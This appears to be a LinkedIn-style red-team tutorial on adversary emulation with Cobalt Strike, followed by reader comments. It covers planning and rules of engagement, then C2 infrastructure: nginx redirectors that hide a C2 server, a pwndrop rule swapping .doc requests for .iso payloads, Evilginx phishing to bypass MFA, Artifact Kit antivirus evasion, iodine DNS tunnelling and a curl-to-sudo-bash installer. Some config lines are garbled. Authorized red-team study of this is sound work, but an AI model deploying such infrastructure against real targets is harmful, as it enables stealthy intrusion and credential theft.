Performing an adversary emulation with Cobalt Strike PT.1
Joas A Santos
Cyber Security Leader | Red Team | Author of Books | Speaker and Teacher
Introduction
This is an introductory article, let's prepare our environment to start our adversary emulation process. I will use Cobalt Strike as C2 to do our tests, this is a stage where we will only develop the operations part.
For your studies I recommend Try Hack Me:
Introduction to Adversary Emulation
Adversary tactics, techniques and procedures, collected by the Threat Intelligence team, are used to create a security test based on real-world intrusion campaigns.
The focus is on knowing where to prioritize security features and identifying gaps in the environment.
Mapping threat groups (APT) and using it as a basis to create threat models for testing.
Introduction to Cobalt Strike
Cobalt Strike is a platform for opponent simulations and Red Team operations. The product is designed to execute targeted attacks and emulate the post-exploit actions of advanced threat actors. Using the main Cyber Kill Chain framework as a base.
Below are the phases of the Kill Chain that will be used in our process:
Threat Emulation Plan
Adversary emulation plans describe the behavior of groups of persistent threats mapped to ATT&CK. They are used by opposing emulation teams to test an organization's network security and security products against specific threats.
Shall we create our Emulation plan?
Below I will put an example of a simple plan, especially if you are starting, you can start with a small less critical environment of your company and then evolve according to the maturity and understanding of the business.
Goals:
Identify threats:
Creation of scenarios:
Success metrics:
Emulation run:
A useful library for you to collect information from already mapped APT groups
Example from APT29:
Adversary emulation plans require a significant investment of time, knowledge, and effort to create properly. These plans involve several steps, such as cyber threat intelligence (CTI) research, TTP (tactics, techniques and procedures) analysis, ATT&CK mapping and, if necessary, custom tool development. In addition, you need to set up an appropriate test environment, create an emulation plan, run the tests, and perform a final quality review.
The diversity of existing methodologies and representations for adversary emulation plans ends up harming their usefulness and increasing the workload for users. This lack of standardization makes the process more complex and hinders the efficient adoption of these plans. However, there are initiatives and frameworks, such as MITER ATT&CK? and the Caldera framework, which aim to establish standards and simplify the creation and use of these plans.
In short, this is useful for tradecraft improvements and creations
What would tradecraft be? Is it something related to Minecraft?
Threat emulation tradecraft can include knowledge of the latest threat trends, cyber threat intelligence, social engineering techniques, vulnerability exploitation methods, use of specialized tools, data analysis and test reports, among other aspects. It is a combination of technical skills, practical experience and advanced knowledge to accurately simulate the behaviors and tactics used by opponents.
Continuous improvement of tradecraft is essential to maintain threat emulation effectiveness, as adversaries are always evolving and developing new techniques. This requires a commitment to research, constant learning and updating of security professionals' skills and knowledge.
Example:
An example of tradecraft in emulating threats might be simulating a phishing attack targeting an organization. In this case, a professional specializing in threat emulation would use advanced social engineering techniques to create a fake email that mimics a legitimate communication from a trusted sender, such as a co-worker or a known vendor.
The professional would carefully design the email to look authentic, including elements such as corporate logos, accurate company information, and compelling copy. The aim would be to trick recipients into providing sensitive information such as passwords, login credentials or financial data.
When creating the email, the threat emulation specialist would apply their knowledge of human psychology, persuasion techniques, and understanding of common vulnerabilities in the organization's security practices. They could also use specialized tools to track whether the email was opened, whether links were clicked, or whether there was any interaction with the malicious content.
Simulating such a phishing attack would allow the organization to assess its employees' awareness and preparedness regarding threats of this type. Based on the results, the security team could identify weaknesses and areas that need improvement, such as additional training on identifying suspicious emails, strengthening security policies, or implementing stronger authentication controls.
TTPs (Tatics, Techniques and Procedures)
TTPs (Tactics, Techniques, and Procedures) are terms used to describe the tactics, techniques, and procedures that cyber adversaries use to carry out their malicious activities. TTPs are an essential component in emulating threats and building effective defense plans.
TTPs describe the ways in which an adversary can carry out a variety of activities, such as exploiting vulnerabilities, infiltrating systems, moving laterally, gathering intelligence, and exfiltrating data. They provide insights into the methods and approaches that cyber adversaries employ in their attacks.
By understanding TTPs, security teams can create more effective defense strategies. They can adjust their security settings, deploy appropriate controls, and implement appropriate mitigation measures based on the tactics and techniques used by adversaries.
Tradecraft, on the other hand, refers to the specialized skills, techniques, and knowledge used by cybersecurity professionals. This includes applying TTPs to simulate attacks and identify vulnerabilities in an organization. Tradecraft involves using specialized tools, understanding vulnerabilities and security best practices, and taking a holistic approach to assessing security posture.
Parameterization of testing tools also plays a key role in threat emulation. Tools used during testing must be properly configured to simulate the TTPs and techniques employed by real opponents. This includes defining attack profiles, exploit settings, choosing appropriate payloads, and other customizations to ensure tests are realistic and relevant.
Proper parameterization of test tools allows security teams to accurately simulate attack scenarios and identify vulnerabilities that a real adversary could exploit. This helps validate the organization's defenses, identify areas for improvement, and prioritize mitigation actions.
Att&ck Navigator
The ATT&CK Navigator is an interactive tool that helps you visualize and explore the MITER ATT&CK matrix. It provides a graphical interface that allows you to browse ATT&CK tactics, techniques and procedures (TTPs) as well as create and customize attack maps.
Main features of ATT&CK Navigator:
Using ATT&CK Navigator is flexible and depends on the user's needs. You can use it to explore ATT&CK techniques and tactics, create custom attack maps for analysis and planning, and document relevant information about each technique.
RoE (Rules of Engagements)
ROE (Rules of Engagement) refers to the rules of engagement in a Red Team exercise, which establish the parameters, limitations and guidelines for the red team during the attack simulation. The ROE is a key document that helps ensure that testing is conducted ethically, safely, and in line with the organization's goals.
The information that must be present in a Red Team ROE can vary depending on the specific needs and requirements of the exercise. However, here are some common elements that are often included:
Test Scope: A clear description of the systems, applications, networks or areas of the organization that are subject to testing. This defines the boundaries within which the red team can operate.
Objectives: The specific objectives of the Red Team exercise, i.e. what the red team is allowed to do or pursue during the test.
Restrictions: Any restrictions or limitations placed on the red team. This can include prohibiting activities such as using denial of service (DoS) attacks, manipulating production data, or disrupting critical services.
Time limits: The period of time during which the red team is allowed to conduct the test. This helps ensure that testing takes place within a defined schedule and that the team does not proceed beyond the designated time.
Contacts and Communication Points: The contact information for the parties involved, including the red team, blue team (inside defense team) and any other relevant points of contact.
Reporting Procedures: What procedures must be followed to report Red Team activities and findings to the Blue Team or management team responsible for the exercise. This includes notification of critical vulnerabilities or successful exploits.
Security Policies: Any specific security policies, guidelines, or requirements that the red team must follow during testing. This may include compliance with data privacy regulations, confidentiality requirements, or other internal organization policies.
Confidentiality Agreements: The confidentiality terms that the red team must follow to protect sensitive organization information obtained during the exercise.
Emergency procedures: The procedures to be followed in case of emergency or critical situations during the test. This may include ways to immediately stop activities or report serious incidents.
It is necessary to parameterize this file and the responsible parties sign and give their consent to the tests and exercises that will be carried out, avoiding problems and major headaches.
Red Team Report Creation
Comprehensive documentation is required that details the findings, analysis, and recommendations resulting from an attack simulation or threat emulation. It provides an overview of the process, methods used, and weaknesses identified in the tested system or organization. While the exact format can vary based on the team's needs and preferences, here are some key elements that should generally be present in a Red Team report:
Executive Summary: A brief overview of key findings, identified risks, and high-level recommendations. This summary is designed to provide a quick and concise overview of the overall impact of the attack simulation.
Simulation objectives: A clear description of the objectives defined at the beginning of the Red Team exercise, including which systems, applications or areas of the organization were tested.
Methodology: Details on the approach, techniques and tools used during the attack simulation. This may include explaining the steps taken, exploiting vulnerabilities, social engineering, using malware and other tactics employed.
Test Results: A detailed description of the findings, including identified vulnerabilities, security holes, or gaps. This can range from misconfiguration to successful exploitation of known vulnerabilities.
Impact: An assessment of the potential impact of identified vulnerabilities and exploits. This can include the associated security risks, potential consequences for the organization and estimating the damage that could be caused in a real-world scenario.
Recommendations: A clear and concise list of recommended actions to mitigate identified vulnerabilities and strengthen the organization's security. These recommendations should be practical, actionable, and prioritized based on severity and likelihood of exploitation.
Additional Considerations: Any additional relevant information that might be useful to the organization, such as security awareness notes, policies and best practices, training requirements, or suggestions for general improvements to security posture.
Attachments: Any additional relevant documentation, such as test logs, screen captures, reports of tools used, vulnerability analysis results, among others.
Preparing the Toolkit (Weaponization)
Now let's set up our test environment, below I'll leave a repository that contains some useful tools.
A plus for you who are going to use Cobalt Strike is to create a notification alert, either via SMS, Slack or Teams, here is the script.
C2 Structure
Interactive (N3)
?Used for general commands, enumeration, scanning, data exfiltration, etc.
?This level has the most interaction and is at the highest risk of exposure.
?Plan for loss of access due to miscommunication, agent failure or Blue Team actions.
?Run enough interactive sessions to maintain access. While interactive, this doesn't mean blasting the client with packages. Use common sense to minimize the interaction just enough to take action.
Short Haul (N2)
?Used as a backup to re-establish interactive sessions.
?Use covert communications that blend in with the target.
?Slow callback times. Callback times in 1–24 hours.
Long Haul (N1)
?Same as Short Haul, but even lower and slower.
?Slow callback times. Callback times of more than 24 hours are common.
NGINX Redirectors
A redirector in Nginx is used to redirect requests from one URL to another. It directs traffic arriving at a certain Nginx server to another destination based on certain conditions. This can be useful in many situations, such as:
URL redirection: A redirector can be used to redirect requests from an old URL to a new URL. This is useful when you change your site's structure or move content to a new location.
Traffic Redirection: Redirection can also be used to direct traffic from one domain or subdomain to another server or service. For example, you can redirect all traffic from "www.example.com" to "app.example.com" or to a cloud service.
Conditional Redirection: A redirector can be configured based on certain conditions, such as User-Agent, client IP address, or other HTTP headers. This allows you to redirect requests based on specific criteria. For example, you can redirect requests from mobile devices to a mobile version of your website.
Traffic Management: The redirector can also be used to distribute incoming traffic across multiple servers or services, helping to balance load and improve scalability.
Simple port forwarding by tools like socat or SSH can solve bullet #1 and partly #4. However, to address bullets #2 and #3 we need to introduce more sophisticated redirectors — hosts, which act as reverse proxies to forward only specific traffic to the real C2 server, whilst serving counterfeit content for the arbitrary visitor. In this article, we will focus on HTTPS as a protocol for external C2 communication.
More details, recommend the article Dmitrijs Trizna
Example:
http
? server {
? ? listen 80;
? ? listen 443 ssl;
? ? server_name example.com;
? ? ssl_certificate "/etc/letsencrypt/live/https://www.dhirubhai.net/redir/general-malware-page?url=test%2eupdate%2eallowed%2eorg%2Fcert%2epem";
? ? ssl_certificate_key "/etc/letsencrypt/live/https://www.dhirubhai.net/redir/general-malware-page?url=test%2eupdate%2eallowed%2eorg%2Fprivkey%2epem";
? ? ssl_session_cache shared:SSL:1m;
? ? ssl_session_timeout 10m;
? ? ssl_ciphers HIGH:!aNULL:!MD5;
? ? ssl_prefer_server_ciphers on;
? ? location / {
?# Primeiro exemplo
? ? if ($http_user_agent ~* "Cobalt Strike") {
? ? ? ? return 301 https://cobaltstrike-redirector.com$request_uri;
# Segundo Exemplo
set $C2 "";
if ($http_user_agent ~ "41.0.2228.0") {
set $C2 A;
}
if ($remote_addr ~ "123.123.123") {
set $C2 "${C2}B";
}
if ($remote_addr ~ "213.213.213") {
set $C2 "${C2}B";
}
if ($C2 = "AB") {
proxy_pass https://localhost:8080;
}
try_files $uri $uri/ =404;
}
? ? ??
? ? ? # Configura??es do servidor para tráfego normal
? ? }
? }
}
{
Basic Configuration:
Step 1: Install Nginx
Make sure you have Nginx installed on your server. Depending on the operating system, you can use commands like apt-get (Ubuntu/Debian) or yum (CentOS/RHEL) to install Nginx.
Step 2: Get the SSL certificates
Make sure you have valid SSL certificates for your domain.
You can use Let's Encrypt or any other trusted vendor to get the certificates.
Step 3: Create the Nginx Configuration File
Create a configuration file for Nginx, for example cobaltstrike-redirector.conf and add the above content
Be sure to replace example.com with your actual domain and adjust the SSL certificate paths in the ssl_certificate and ssl_certificate_key directives.
Step 4: Copy the configuration file
Copy the cobaltstrike-redirector.conf configuration file to the Nginx configuration directory. Depending on the Linux distribution, the directory might be /etc/nginx/conf.d/ or /etc/nginx/sites-available/.
Step 5: Restart Nginx
After copying the configuration file, restart the Nginx service for the changes to take effect. Use the appropriate command to restart Nginx on your operating system, such as service nginx restart or systemctl restart nginx.
Outro tutorial para criar sua infraestrutura de ataque
PWNDrop
GIF Demonstration
pwndrop?is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV.
If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of?python -m SimpleHTTPServer,?pwndrop?is definitely for you!
curl https://raw.githubusercontent.com/kgretzky/pwndrop/master/install_linux.sh | sudo bash
PWNDrop Basic Config in Nginx
In this example, requests with the "User-Agent" header containing the string "Pwndrop" will be redirected to a malicious resource with the same name structure as the requested resource.
The if ($request_filename ~* "^(.*)\.doc$") directive checks whether the requested file name ends with the ".doc" extension. Then the $redirected_file variable is set to the file name, changing the extension to ".iso". The rewrite directive redirects the request to the new file with the modified extension.
http
? server {
? ? listen 80;
? ? server_name example.com;
? ? location / {
? ? ? if ($http_user_agent ~* "Pwndrop") {
? ? ? ? if ($request_filename ~* "^(.*)\.doc$") {
? ? ? ? ? set $redirected_file $1.iso;
? ? ? ? ? rewrite ^(.*)$ $scheme://$host$redirected_file last;
? ? ? ? }
? ? ? }
? ? ??
? ? ? # Configura??es do servidor para tráfego normal
? ? }
? }
}
{
Evilginx + Gophish
领英推荐
In this setup,?GoPhish?is used to send emails and provide a dashboard for?evilginx2?campaign statistics, but it is not used for any landing pages. Your phishing links sent from?GoPhish?will point to an?evilginx2?lure path and?evilginx2?will be used for landing pages. This provides the ability to still bypass?2FA/MFA?with?evilginx2, without losing those precious stats.?Apache2?is simply used as a proxy to the local?evilginx2?server and an additional hardening layer for your phishing infrastructure. Realtime campaign event notifications have been provided with a local websocket/http server I have developed and full usable?JSON?strings containing tokens/cookies from?evilginx2?are displayed directly in the?GoPhish?GUI (and feed):
Artifact KIT
Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
Download the artifact to your machine
Perform the .zip decompression
Go to the Cobalt Strike > Script Manager option
Run build.sh to rebuild the artifacts, especially after the changes made, you can rebuild again.
In the dist-pipe folder is the artifact.cna file that you will upload to in cobalt strike
After loading the script, just generate new Stagers
C2 Profile Configuration
This project is intended to serve as reference when designing Cobalt Strike Malleable C2 profiles.
Cobalt Strike Beacon
The Cobalt Strike beacon is a key component that allows the compromised agent to communicate with the Cobalt Strike command and control (C&C) infrastructure. It functions as a two-way communication channel, allowing the Cobalt Strike operator to send commands to and receive information from the compromised system.
The Cobalt Strike beacon is designed to be stealthy and evasive, using obfuscation and encryption techniques to avoid detection. It can be configured to communicate through different protocols such as HTTP, DNS or even through custom communication channels.
Listeners?are the Cobalt Strike component that payloads, such as BEACON, use to connect to a team server. Cobalt Strike supports several protocols and supports a wide range of modifications within each listener type. Some changes to a listener require a "listener restart" and generating a new payload. Some changes require a full team server restart.?
The final two listeners are less common, but they provide compatibility with other payload types.
Data Exfiltration Configuration
As our goal is to exfiltrate data, having beacons prepared not only for persistence, but for exfiltrating data in different side-over channels is important.
In the context of the Cobalt Strike beacon, the encryption and decryption of the communication can involve the use of AES (Advanced Encryption Standard) and RSA (Rivest-Shamir-Adleman) algorithms.
AES is a symmetric encryption algorithm widely used for its security and efficiency. The beacon may use AES to encrypt the data exchanged between the compromised system and the Cobalt Strike C&C server. AES uses a shared secret key, known only to the beacon and the server, to encrypt and decrypt the data. This ensures that the communication remains confidential and secure.
On the other hand, RSA is an asymmetric encryption algorithm that involves the use of a public-private key pair. The beacon can use RSA encryption for purposes such as securely transmitting the symmetric session key used for AES encryption. The public key of the C&C server is used to encrypt the session key, and the private key held by the server is used to decrypt it. This allows for secure key exchange between the beacon and the server.
The combination of AES and RSA encryption provides a strong level of security for the beacon's communication. AES ensures the confidentiality and integrity of the data, while RSA facilitates secure key exchange and authentication between the beacon and the server.
Public/Private Key Generation and Extraction cobalt strike beacon
Public/Private Key Generation:
Data Exfiltration:
Key Exfiltration:
C&C Server Side:
By using public/private key encryption, Cobalt Strike ensures that sensitive data and encryption keys remain secure during the exfiltration process. The public key allows for secure encryption, while the corresponding private key enables decryption on the C&C server side.
DNS Tunelling
Inspired by recent work I did involving Cobalt Strike DNS beacons, in conjunction with a mission statement to try and evade Microsoft Defender for Endpoint, I spent some time looking into how DNS might be used to transfer a payload to a target machine. I further wanted to challenge myself by trying to do so in a way that is possible even when powershell is in Constrained Language Mode. This research was targeted at more modern implementations of Windows (i.e. Win10+, Server 2019+) but as you see later it may be possible in lower versions.
What do DNS records look like?
Most should be at least cursorily familiar with DNS from use of tools like Nslookup. But at a basic level, the client sends a query and the DNS server returns an answer to that query. There are several different kinds of DNS records: CNAME, A, AAAA, TXT, MX, and NS just to name a few. Each of these records can store and return different information. These records are configured in a Zonefile, which is served by a DNS server.
Iodine + Cobalt Strike Tunneling Basic
By configuring a DNS tunnel using Iodine for Cobalt Strike, you can redirect traffic from the Cobalt Strike Beacon through the DNS tunnel to evade detection and security controls. Here is an example of how to configure DNS tunneling using Iodine for Cobalt Strike:
DNS server configuration:
Iodine server configuration:
Run the following command to start the Iodine server:
iodined -f -P PASSWORD TUNNEL_IP tuneldns.example.com
Cobalt Strike Configuration:
Iodine Client Configuration:
Run the following command to start the Iodine client:
iodine -f -P PASSWORD TUNNEL_IP tuneldns.example.com
DNS tunnel test:
Kit de explora??o e pós explora??o
ADSearch:
Mimikatz:
Rubeus:
Seatbelt:
SharpUp:
SharpView:
SharpWMI:
Threatcheck:
SweetPotato:
EDR Evasion Tools and Methods
Malicious PDF creation tool
This is a tool I developed that generates a PDF with cotent URI from an object. Just pass the URL you want the redirection to happen.
More Details:
OPSEC Notes
TTPs Examples
Define a TTP structure to be emulated, so I can have a direction based on the objectives defined at the beginning.
Above is an example defined with the Attack Navigator, after that I need to get every detail of the defined matrix and select tools, commands, best procedures to obtain the result, mapping specific TTPs to improve the tools.
Above is a spreadsheet of the commands that can be executed in the respective environment and tools, in addition to the tools and techniques selected within a specific Tactic. But of course, don't just stick to the selected tools, as it can vary for each environment in the end.
Conclusion
I spent an early morning writing this article, but in order not to make it huge and tiresome to read, I'm going to do a part two soon. Meanwhile, I ask for insights and feedback, especially for those who constantly perform adversary emulation in their daily lives.
Interesting courses and materials:
https://www.cybrary.it/course/mitre-attack-adversary-emulation/
https://www.mdsec.co.uk/training/adversary-simulation-red-team-tactics/
https://www.antisyphontraining.com/attack-emulation-tools-atomic-red-team-caldera-and-more-w-carrie-robert
https://www.youtube.com/watch?v=Vdd4lRXB7zE&ab_channel=Linode
https://www.youtube.com/watch?v=EIHLXWnK1Dw&list=PLBf0hzazHTGMjSlPmJ73Cydh9vCqxukCu&ab_channel=HackerSploit
CCNA/ Linux/ Security +/ (ISC)2 Cybersecurity/ CyberOps Associate
1 年Outstanding Article; Academic Writing at best; the details, proof of concepts, flow, and amount of links, description, and theory was most refreshing, educational, most importantly applicable for real red team operations. Thank you ! I will be looking forward to the second part.
Top 77% TryHackMe
1 年Best red teaming write up I’ve seen! I especially appreciate all the links to all the tools used and article’s referenced.
RNTT Faculty Southeast Missouri State University
1 年Thank you
RSI / RSSI / DSI / Cyber Consultant / Architecte SI
1 年?? ??
CTF Player | Ethical Hacker | Pentester | Cyber Security Analyst | Análise de malware | Red Team | Blue Team| Bug Hunter | SOC Analyst | NSE 2| OSINT Analyst | DCPT in progress | Digital Forensics | Offensive Security
1 年que massa